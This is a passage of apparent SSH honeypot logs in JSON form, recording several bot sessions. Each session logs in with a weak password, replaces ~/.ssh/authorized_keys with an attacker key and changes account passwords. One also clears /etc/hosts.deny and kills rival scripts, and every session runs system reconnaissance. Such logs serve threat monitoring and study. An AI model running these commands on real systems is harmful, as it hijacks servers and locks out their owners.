complete","commands":18,"transcript_bytes":2250,"events":[{"seq":1,"at":"2026-08-27T12:45:06.398944+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:45:07.506267+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:45:14.656288+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:45:14.656765+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:45:16.301867+00:00","kind":"input","latency_ms":null,"data":"echo -e \"cuser\\n0ejP0ItOWwEX\\n0ejP0ItOWwEX\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:45:16.896192+00:00","kind":"output","latency_ms":null,"data":""},{"seq":7,"at":"2026-08-27T12:45:19.062915+00:00","kind":"input","latency_ms":null,"data":"echo \"cuser\\n0ejP0ItOWwEX\\n0ejP0ItOWwEX\\n\"|passwd"},{"seq":8,"at":"2026-08-27T12:45:19.577600+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T12:45:20.124007+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":10,"at":"2026-08-27T12:45:20.125231+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T12:45:21.842898+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T12:45:22.312821+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:45:23.763757+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T12:45:24.322840+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T12:45:25.435175+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T12:45:25.435743+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T12:45:26.814868+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T12:45:26.815937+00:00","kind":"output","latency_ms":null,"data":" 12:45:26 up 7 days, 9:35, 0 user, load average: 0.15, 0.17, 0.15\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T12:45:28.262780+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T12:45:28.263343+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T12:45:29.554765+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T12:45:29.555514+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T12:45:30.994611+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T12:45:30.995020+00:00","kind":"output","latency_ms":null,"data":"top - 12:45:30 up 7 days, 9:35, 0 user, load average: 0.15, 0.17, 0.15\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7308 free, 8579 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T12:45:32.577725+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T12:45:32.578286+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T12:45:34.065227+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T12:45:34.065762+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T12:45:35.180174+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T12:45:35.181118+00:00","kind":"output","latency_ms":null,"data":"cuser"},{"seq":31,"at":"2026-08-27T12:45:38.689176+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T12:45:39.455932+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T12:45:40.560028+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T12:45:41.090598+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"cuser","password":"cuser","method":"password","accepted":true,"tier":"other"}]} {"id":"8b312082-94b9-4a3e-a9b9-706b74821f85","name":"dutiful-murky-petrel","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":59826,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":442,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:45:18.685494+00:00","ended_at":"2026-08-27T12:45:20.012052+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:44:58.126773+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:44:58.567916+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:45:02.351326+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:45:02.608557+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:45:03.049957+00:00","kind":"input","latency_ms":null,"data":"echo \"root:UCJJCBftw1CE\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:45:03.490628+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:45:03.929779+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:45:04.829039+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:45:05.270246+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:45:06.614006+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:45:07.061566+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:45:08.012885+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:45:08.459264+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:45:09.180582+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:45:09.621016+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:45:09.908931+00:00","kind":"output","latency_ms":null,"data":" 12:45:09 up 7 days, 9:35, 0 user, load average: 0.11, 0.14, 0.13\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:45:10.353191+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:45:11.152540+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:45:11.594669+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:45:12.021025+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:45:12.463322+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:45:13.199326+00:00","kind":"output","latency_ms":null,"data":"top - 12:45:13 up 7 days, 9:35, 0 user, load average: 0.11, 0.14, 0.13\nTasks: 105 total, 1 running, 104 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8897 free, 6990 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:45:13.639268+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:45:14.278380+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:45:14.720365+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:45:15.566141+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:45:16.005891+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:45:16.367235+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:45:16.810927+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:45:18.239090+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:45:18.686403+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:45:19.873829+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Password+1","method":"password","accepted":true,"tier":"other"}]} {"id":"d744511d-1abc-472a-bd84-11855955c36a","name":"fickle-reedy-lemur","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":43668,"username":"xie","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":300,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:44:00.286548+00:00","ended_at":"2026-08-27T12:44:01.812020+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2248,"events":[{"seq":1,"at":"2026-08-27T12:43:41.699093+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:43:41.997459+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:43:45.979101+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:43:46.242179+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:43:46.549280+00:00","kind":"input","latency_ms":null,"data":"echo -e \"xie123\\n696OixRjGmhL\\n696OixRjGmhL\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:43:46.840933+00:00","kind":"input","latency_ms":null,"data":"echo \"xie123\\n696OixRjGmhL\\n696OixRjGmhL\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:43:47.138749+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:43:47.964538+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:43:48.263838+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:43:49.582820+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:43:49.882643+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:43:50.719169+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:43:51.023440+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:43:51.472510+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:43:51.773163+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:43:52.568116+00:00","kind":"output","latency_ms":null,"data":" 12:43:52 up 7 days, 9:33, 0 user, load average: 0.34, 0.3, 0.24\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:43:52.867112+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:43:53.547015+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:43:53.846009+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:43:54.352243+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:43:54.652779+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:43:55.297512+00:00","kind":"output","latency_ms":null,"data":"top - 12:43:55 up 7 days, 9:34, 0 user, load average: 0.34, 0.3, 0.24\nTasks: 126 total, 1 running, 125 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:43:55.596505+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:43:56.119751+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:43:56.419269+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:43:57.316263+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:43:57.616646+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:43:58.167838+00:00","kind":"output","latency_ms":null,"data":"xie"},{"seq":29,"at":"2026-08-27T12:43:58.468165+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:43:59.987781+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:44:00.287335+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:44:01.725307+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"xie","password":"xie123","method":"password","accepted":true,"tier":"other"}]} {"id":"2b4decfd-7187-4a21-81f0-e9b3932d8cf6","name":"prairie-ancient-loris","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":57150,"username":"lighthouse","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":328,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:43:47.799358+00:00","ended_at":"2026-08-27T12:43:49.271755+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2255,"events":[{"seq":1,"at":"2026-08-27T12:43:28.798380+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:43:29.124185+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:43:32.758090+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:43:33.264445+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:43:33.595119+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\nJYj0H81MYIrP\\nJYj0H81MYIrP\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:43:33.918757+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\nJYj0H81MYIrP\\nJYj0H81MYIrP\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:43:34.246725+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:43:35.033597+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:43:35.361584+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:43:36.818577+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:43:37.149233+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:43:38.409112+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:43:38.744371+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:43:39.412927+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:43:39.739883+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:43:40.095777+00:00","kind":"output","latency_ms":null,"data":" 12:43:40 up 7 days, 9:33, 0 user, load average: 0.2, 0.19, 0.14\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:43:40.424218+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:43:41.164080+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:43:41.496493+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:43:42.221119+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:43:42.554140+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:43:43.125610+00:00","kind":"output","latency_ms":null,"data":"top - 12:43:43 up 7 days, 9:33, 0 user, load average: 0.2, 0.19, 0.14\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:43:43.453586+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:43:43.831145+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:43:44.158010+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:43:44.917285+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:43:45.246106+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:43:45.942413+00:00","kind":"output","latency_ms":null,"data":"lighthouse"},{"seq":29,"at":"2026-08-27T12:43:46.270440+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:43:47.471220+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:43:47.800127+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:43:49.174101+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"lighthouse","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"4d8f88f6-2dfe-4c51-b468-0240496d48b3","name":"glacial-jolly-loris","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":59810,"username":"user1","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":449,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:42:37.911180+00:00","ended_at":"2026-08-27T12:42:39.439031+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2254,"events":[{"seq":1,"at":"2026-08-27T12:42:16.678682+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:42:17.135525+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:42:21.845673+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:42:22.153194+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:42:22.601482+00:00","kind":"input","latency_ms":null,"data":"echo -e \"user1123\\ntOY8yEfOPP7A\\ntOY8yEfOPP7A\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:42:23.046116+00:00","kind":"input","latency_ms":null,"data":"echo \"user1123\\ntOY8yEfOPP7A\\ntOY8yEfOPP7A\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:42:23.493108+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:42:24.063499+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core 